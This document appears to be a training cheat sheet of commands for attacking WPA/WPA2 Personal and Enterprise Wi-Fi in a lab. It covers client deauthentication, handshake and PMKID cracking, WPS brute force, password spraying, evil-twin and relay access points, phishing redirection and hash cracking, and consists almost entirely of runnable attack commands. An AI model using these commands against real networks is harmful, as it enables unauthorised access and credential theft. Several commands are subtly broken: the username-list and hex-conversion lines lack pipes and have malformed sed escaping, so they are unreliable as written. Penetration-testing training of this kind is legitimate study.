

ATTACKING WPA/WPA2 WI-FI NETWORKS

CHEAT SHEET

WPA Personal Overview

Wireshark Display Filter	Frame Type
<code>(wlan.fc.type == 0) && (wlan.fc.type_subtype == 8)</code>	Beacon
<code>(wlan.fc.type == 0) && (wlan.fc.type_subtype == 4)</code>	Probe Request
<code>(wlan.fc.type == 0) && (wlan.fc.type_subtype == 5)</code>	Probe Response
<code>(wlan.fc.type == 0) && (wlan.fc.type_subtype == 11)</code>	Authentication
<code>(wlan.fc.type == 0) && (wlan.fc.type_subtype == 0)</code>	Association Request
<code>(wlan.fc.type == 0) && (wlan.fc.type_subtype == 1)</code>	Association Response
<code>eapol</code>	EAPOL (Handshake)
<code>(wlan.fc.type == 0) && (wlan.fc.type_subtype == 12) or (wlan.fc.type_subtype == 10)</code>	Disassociation v Deauthentication

Reconnaissance and Bruteforce

Command	Description
<code>sudo airmon-ng start wlan0</code>	Enable monitor mode.
<code>sudo airodump-ng wlan0mon</code>	Scan for available Wi-Fi networks and their associated clients.
<code>sudo airodump-ng wlan0mon -c 1 --wps</code>	Scan for WPS-enabled Wi-Fi networks (using airodump-ng).
<code>sudo wash -j -i wlan0mon</code>	Scan for WPS-enabled Wi-Fi networks (using wash + verbose output).
<code>grep -i "84-1B-5E" /var/lib/ieee-data/oui.txt</code>	See which vendor is associated with an access point, using the first half of the target AP's MAC address.
<code>sudo airmon-ng stop wlan0mon</code>	Turn off monitor mode.
<code>iw dev wlan0 interface add mon0 type monitor</code>	Add a new monitor interface (using iw).
<code>sudo ifconfig mon0 up</code>	Activate the new interface.
<code>sudo reaver -i mon0 -c 1 -b <target_BSSID></code>	Perform WPS-PIN bruteforce with Reaver.

Cracking MIC (4-Way Handshake)

Command	Description
<code>sudo airmon-ng start wlan0</code>	Enable monitor mode.
<code>sudo airodump-ng wlan0mon -c 1 -w WPA</code>	Scan for available Wi-Fi networks and their associated clients, saving the traffic to a capture file.
<code>sudo aireplay-ng -0 5 -a <AP_MAC> -c <client_MAC> wlan0mon</code>	Perform a deauthentication attack against a connected client.
<code>cowpatty -c -r WPA-01.cap</code>	Verify the WPA handshake.

Command	Description
<code>cowpatty -r WPA-01.cap -f /opt/wordlist.txt -s <ESSID></code>	Crack the PSK from the captured WPA handshake using cowpatty.
<code>aircrack-ng -w /opt/wordlist.txt -0 WPA-01.cap</code>	Crack the PSK from the captured WPA handshake using aircrack-ng.

PMKID Attack

Command	Description
<code>sudo airmon-ng start wlan0</code>	Enable monitor mode.
<code>sudo hcxdumptool -i wlan0mon --enable_status=3</code>	Scan for networks vulnerable to the PMKID attack.
<code>sudo airodump-ng wlan0mon --essid <target_ESSID></code>	Determine BSSID of the vulnerable network using its ESSID.
<code>hcxdumptool -i wlan0mon --enable_status=3 --filterlist_ap=<target_BSSID> --filtermode=2 -o HTBPMKID.pcap</code>	Capture the target's PMKID.
<code>hcxpcapngtool -o hash HTBPMKID.pcap</code>	Convert the pcap to a usable hash format.
<code>hashcat -m 22000 --force hash /opt/wordlist.txt</code>	Crack the hash (using Hashcat).
<code>hashcat -m 22000 --force hash /opt/wordlist.txt --show</code>	Display the cracked password.

WPA Enterprise Reconnaissance

Command	Description
<code>sudo airmon-ng start wlan0</code>	Enable monitor mode.

Command	Description
<code>sudo airodump-ng wlan0mon -c 1 -w WPA</code>	Scan for available Wi-Fi networks and their associated clients, saving the traffic to a capture file.
<code>tshark -r WPA-01.cap -Y '(eap && wlan.ra == 9c:9a:03:39:bd:7a) && (eap.identity)' -T fields -e eap.identity</code>	Extract usernames from a packet capture (using tshark).
<code>python2 /opt/crEAP/crEAP.py</code>	Extract usernames from a packet capture (using crEAP).
<code>bash /opt/pcapFilter.sh -f /home/wifi/WPA-01.cap -C</code>	Extract the handshake certificate from packet capture.
<code>sudo bash /opt/EAP_buster/EAP_buster.sh HTB-Corp 'HTB\Ketty' wlan0mon</code>	Identify the authentication methods available to the user.

Performing Bruteforce Attacks

Command	Description
<code>echo "HTB\Sentinal" > user.txt</code>	Save the target username to a file.
<code>sudo python2 air-hammer.py -i wlan1 -e HTB-Corp -p /opt/rockyou.txt -u user.txt</code>	Execute a bruteforce attack using air-hammer.py.
<code>cat /opt/statistically-likely-usernames/john.txt awk '{print "HTB\\" \$1}' > domain_users.txt</code>	Create a list of usernames with a domain prefix.
<code>sudo python2 air-hammer.py -i wlan1 -e HTB-Corp -P football -u domain_users.txt</code>	Execute a password spray attack using air-hammer.py
<code>sudo python2 air-hammer.py -i wlan1 -e HTB-Corp -P football -u domain_users.txt -s 65</code>	Resume a cancelled attack.

EAP Downgrade Attack

Command	Description
<code>openssl dhparam -out dh.pem 2048</code>	Generate Diffie-Hellman parameters.
<code>openssl genrsa -out ca-key.pem 2048</code>	Generate CA private key.
<code>openssl req -new -x509 -nodes -days 100 -key ca-key.pem -out ca.pem</code>	Generate CA certificate.
<code>openssl req -newkey rsa:2048 -nodes -days 100 -keyout server-key.pem -out server-key.pem</code>	Generate server private key.
<code>openssl x509 -req -days 100 -set_serial 01 -in server-key.pem -out server.pem -CA ca.pem -CAkey ca-key.pem</code>	Generate server certificate.
<code>sudo hostapd-mana hostapd.conf</code>	Start the fake access point using hostapd-mana.
<code>/opt/eaphammer/eaphammer --cert-wizard</code>	Generate self-signed certificates automatically with eaphammer.
<code>sudo /opt/eaphammer/eaphammer --interface wlan1 -negotiate balanced --auth wpa-eap --essid HTB-Corp --creds</code>	Start the fake access point using eaphammer.

Enterprise Evil-Twin Attack

Command	Description
<code>cp /etc/hostapd-wpe/hostapd-wpe.conf hostapd-wpe.conf</code>	Make a copy of the hostapd-wpe configuration file.
<code>sudo hostapd-wpe -c -k hostapd-wpe.conf</code>	Start the fake access point using hostapd-wpe.
<code>/opt/eaphammer/eaphammer --cert-wizard</code>	Generate self-signed certificates automatically using eaphammer.
<code>sudo /opt/eaphammer/eaphammer -i wlan1 -e HTB-Corp --auth wpa-eap --wpa-version 2</code>	Start the fake access point using eaphammer.

Command	Description
<code>hashcat -m 5500 -a 0 <captured_hash> wordlist.dict</code>	Crack the captured NetNTLM hash using Hashcat.

PEAP Relay Attack

Command	Description
<code>sudo hostapd-mana ./hostapd.conf</code>	Launch the fake access point using hostapd-mana.
<code>sudo /opt/wpa_sycophant/wpa_sycophant.sh -c wpa_sycophant.config -i wlan2</code>	Start the relay by initiating wpa-sycophant.

Attacking EAP-TLS Authentication

Command	Description
<code>cp /etc/hostapd-wpe/hostapd-wpe.conf hostapd-wpe.conf</code>	Make a copy of the hostapd-wpe configuration file.
<code>cd /opt/hostapd-2.6 && patch -p1 < ../hostapd-wpe/hostapd-wpe.patch</code>	Apply the patch to the hostapd-2.6 source code.
<code>cd /opt/hostapd-2.6/hostapd && make</code>	Recompile hostapd with the updated configuration.
<code>sudo /opt/hostapd-2.6/hostapd/hostapd-wpe hostapd-wpe.conf</code>	Start the fake access point using the recompiled hostapd-wpe.
<code>sudo python2 nagaw.py -i wlan1 -o wlan2 -t demo</code>	Redirect clients to a phishing page using nagaw.py

Cracking EAP-MD5

Command	Description
<code>echo 776b900e685dea0230b41eec2010535c sed 's/(..\)/\1:/g;s/:\$//'</code>	Convert the Request Challenge EAP-MD5 value into Colon Hexadecimal format.
<code>echo 054ea58706a52f0c95fc47ccf11eb5a1 sed 's/(..\)/\1:/g;s/:\$//'</code>	Convert the Response Challenge EAP-MD5 value into Colon Hexadecimal format.
<code>eapmd5pass -w /opt/rockyou.txt -U administrator -C <request_challenge> -R <response_challenge> -E <request_id></code>	Perform a dictionary attack to crack the EAP-MD5 hash.